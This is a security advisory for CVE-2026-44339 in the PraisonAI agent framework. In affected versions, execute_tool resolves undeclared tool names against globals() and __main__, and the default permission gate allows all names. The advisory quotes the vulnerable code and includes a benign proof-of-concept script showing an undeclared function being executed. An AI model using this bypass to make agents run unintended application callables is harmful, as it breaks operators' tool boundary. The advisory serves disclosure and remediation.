---
id: CVE-2026-44339
aliases:
  - GHSA-gmjg-hv98-qggq
  - PYSEC-2026-2915
  - PYSEC-2026-2948
title: >-
  PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`:
  undeclared `__main__` callables execute
summary: >-
  PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`:
  undeclared `__main__` callables execute
severity: high
cvss: 8.6
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L'
vendor: praisonaiagents
product: praisonaiagents
ecosystem: pip
affected:
  - praisonaiagents < 1.6.37
  - praisonai < 4.6.37
patched:
  - praisonaiagents 1.6.37
  - praisonai 4.6.37
published: '2026-05-11'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-gmjg-hv98-qggq'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gmjg-hv98-qggq
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-44339'
  - url: 'https://github.com/MervinPraison/PraisonAI'
tags:
  - osv
  - pip
epss: 0.00427
epssPercentile: 0.34255
ingestedAt: '2026-07-13T18:57:58.492Z'
---

## Overview

### Summary
`praisonaiagents` resolves unresolved tool names against module globals and `__main__` after it fails to match the declared tool list and the registry. With the default agent configuration, `_perm_allow` is `None`, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.

### Details
The vulnerable resolution path is in [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to `globals()` and then `__main__`:

```python
func = None
for tool in self.tools if isinstance(self.tools, (list, tuple)) else []:
    ...

if func is None:
    try:
        from ..tools.registry import get_registry
        registry = get_registry()
        func = registry.get(function_name)
    except ImportError:
        pass

if func is None:
    func = globals().get(function_name)
    if not func:
        import __main__
        func = getattr(__main__, function_name, None)
```

If a callable is found, it is executed directly:

```python
elif callable(func):
    casted_arguments = self._cast_arguments(func, arguments)
    return func(**casted_arguments)
```

The permission gate does not enforce a declared-tool allowlist by default. In [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if `_perm_allow` is non-`None`:

```python
if self._perm_deny and function_name in self._perm_deny:
    return {"error": f"Tool '{function_name}' blocked by permission policy", "permission_denied": True}
if self._perm_allow is not None and function_name not in self._perm_allow:
    return {"error": f"Tool '{function_name}' not in allowed tools list", "permission_denied": True}
```

Default agent initialization sets `_perm_allow = None`, which means "allow all" rather than "allow only declared tools" in [`[agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):

```python
self._perm_deny = frozenset()  # Permission tier deny set (empty = no denials)
self._perm_allow = None        # Permission tier allow set (None = allow all)
```

The project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:

- [`[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142):56) asserts that a default `Agent` has `_perm_allow is None`.
- [`test_permissions.py`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142) explicitly checks that `agent._check_tool_approval_sync("my_custom_tool", {})` passes for an undeclared tool name.

**Empirical verification:**

I verified the bypass locally on commit `d8a8a786915dc67a7c3021e24f72458f2eac5d9c` (`v4.6.35`) by defining a callable only in `__main__`, giving the agent an empty `tools` list, and invoking `execute_tool()` with that undeclared name. The tool executor ran the `__main__` function anyway.

### PoC
**Environment**
- Repo: `MervinPraison/PraisonAI`
- Commit: `d8a8a786915dc67a7c3021e24f72458f2eac5d9c`
- Verified against PyPI package versions available on May 3, 2026:
  - `praisonaiagents` `1.6.35`
  - `PraisonAI` `4.6.35`
- Python 3

**Steps**
1. From the repository root, run:

```bash
python3 - <<'PY'
import sys
from unittest.mock import MagicMock, patch

sys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')
from praisonaiagents.agent.tool_execution import ToolExecutionMixin

def sneaky(msg='ok'):
    return {'ran': msg}

class HookRunner:
    def execute_sync(self, *args, **kwargs):
        return []
    def is_blocked(self, results):
        return False

class Dummy(ToolExecutionMixin):
    def __init__(self):
        self.name = 'demo'
        self.tools = []
        self.chat_history = []
        self._hook_runner = HookRunner()
        self.context_manager = None
        self._doom_loop_tracker = None
        self._perm_deny = frozenset()
        self._perm_allow = None
        self._approval_backend = None

mock_registry = MagicMock()
mock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)
mock_registry.mark_approved = MagicMock()

with patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):
    agent = Dummy()
    print(agent.execute_tool('sneaky', {'msg': 'hello'}))
    print(mock_registry.approve_sync.call_args)
PY
```

**Expected output**
```text
{'ran': 'hello'}
call('demo', 'sneaky', {'msg': 'hello'})
```

The important point is that `sneaky` was never declared in `self.tools` and was only present in `__main__`.

### Impact
- **Any deployment that lets an untrusted party influence tool-call names**: undeclared application callables can run even though they were never registered as tools.
- **Operators who rely on the declared tool list as a security boundary**: that boundary is broken because unresolved names fall through to `globals()` and `__main__`.
- **Applications that keep privileged helper functions in process scope**: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.

## Affected packages

- `praisonaiagents < 1.6.37`
- `praisonai < 4.6.37`

## Remediation

Upgrade to a patched release:

- `praisonaiagents 1.6.37`
- `praisonai 4.6.37`
